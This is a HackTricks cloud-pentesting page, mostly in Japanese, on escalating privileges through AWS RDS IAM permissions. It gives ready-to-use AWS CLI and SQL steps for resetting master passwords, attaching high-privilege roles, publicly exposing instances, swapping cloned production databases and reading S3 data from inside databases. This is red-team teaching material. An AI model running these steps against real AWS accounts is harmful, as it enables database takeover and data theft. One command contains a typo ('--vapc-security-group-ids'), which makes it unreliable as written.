AWS - RDS Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

RDS - リレーショナルデータベースサービス

For more information about RDS check:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

その権限があれば、攻撃者はマスターユーザーのパスワードを変更し、データベース内のログインを変更できます:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

データベースに接続できる必要があります(通常はネットワーク内部からのみアクセス可能です)。

Potential Impact: データベース内の機密情報を見つけることができる。

rds-db:connect

According to the docs a user with this permission could connect to the DB instance.

RDS Role の IAM 権限を悪用する

Postgresql (Aurora)

Tip

If running SELECT datname FROM pg_database; you find a database called rdsadmin you know you are inside an AWS postgresql database.

まず、このデータベースが他のAWSサービスにアクセスするために使われたかどうかを確認できます。インストールされている拡張機能を確認して調べられます:

SELECT * FROM pg_extension;

もし aws_s3 のようなものを見つけたら、このデータベースは S3 に対する何らかのアクセス権 を持っていると想定できます(他にも aws_mlaws_lambda のような拡張があります)。

また、aws rds describe-db-clusters を実行する権限があれば、フィールド AssociatedRolesクラスターに IAM ロールがアタッチされているかどうか を確認できます。もしあれば、そのデータベースは 他の AWS サービスにアクセスするよう準備されている と考えられます。ロールの名前に基づいて(あるいはロールの権限を取得できれば)、データベースがどのような追加アクセスを持っているか推測できます。

今、bucket 内のファイルを読むには、フルパスを知っている必要があります。次のコマンドで読み取れます:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

もしraw AWS credentialsを持っていれば、それらを使ってS3のデータに次のようにアクセスすることもできます:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql S3にアクセスするためにパラメータグループ変数を変更する必要はありません

Mysql (Aurora)

Tip

mysql の中でクエリ SELECT User, Host FROM mysql.user; を実行して rdsadmin というユーザーが存在する場合、AWS RDS mysql db 内にいると推定できます。

mysql 内で show variables; を実行し、aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role のような変数に値が設定されていれば、データベースが S3 データにアクセスする準備ができていると判断できます。

また、aws rds describe-db-clusters を実行する権限があれば、クラスターに 関連付けられたロール があるか確認できます(通常は AWS サービスへのアクセスを意味します)。

では、バケット内のファイルを読み取るにはフルパスを知っている必要があります。以下のように読み取れます:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

これらの権限 (rds:AddRoleToDBClusteriam:PassRole) を持つ攻撃者は、既存の RDS インスタンスに指定したロールを追加することができます。これにより攻撃者は機密データにアクセスしたり、インスタンス内のデータを変更したりできる可能性があります。

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

潜在的な影響: RDS インスタンス内の機密データへのアクセスやデータの不正な変更が発生する可能性があります。
一部の DB(例えば Mysql)は追加の設定が必要で、role ARN を aprameter groups に指定する必要がある点に注意してください。

rds:CreateDBInstance

この権限のみで、攻撃者はnew instance inside a clusterを作成できます。対象のクラスタは既に存在し、IAM role がアタッチされている必要があります。マスター ユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまう可能性があります:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: テスト

権限 rds:CreateDBInstanceiam:PassRole を持つ攻撃者は、指定したロールをアタッチした新しい RDS インスタンスを作成することができます。攻撃者はその後、インスタンス内の機密データにアクセスしたり、データを改ざんしたりする可能性があります。

Warning

アタッチする role/instance-profile のいくつかの要件(詳細はhere):

  • プロファイルはあなたのアカウントに存在している必要があります。
  • プロファイルは、Amazon EC2 が assume する権限を持つ IAM ロールを含んでいる必要があります。
  • instance profile 名と関連する IAM ロール名はプレフィックス AWSRDSCustom で始まる必要があります。
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

潜在的な影響: RDS インスタンス内の機密データへのアクセス、またはデータの不正な変更。

rds:AddRoleToDBInstance, iam:PassRole

これらの権限(rds:AddRoleToDBInstanceiam:PassRole)を持つ攻撃者は、既存の RDS インスタンスに指定したロールを追加することができます。これにより攻撃者はインスタンス内の機密データにアクセスしたり、データを変更したりできる可能性があります。

Warning

この操作は、DB インスタンスがクラスターの外にある必要があります。

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

潜在的な影響: RDS インスタンス内の機密データへのアクセスや、データの不正な改変が行われる可能性があります。

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

これらの権限を持つ攻撃者は、本番データベースをクローン(Blue)し、クローン(Green)に高権限の IAM ロールを付与して、switchover を使って本番環境と置き換えることができます。これにより、攻撃者はデータベースの権限を昇格させ、他の AWS リソースへ不正にアクセスできるようになります。

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

潜在的影響: 本番データベース環境の完全な乗っ取り。スイッチオーバー後、データベースは昇格した権限で動作し、データベース内部から他の AWS サービス(例:S3、Lambda、Secrets Manager)への不正なアクセスを可能にします。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする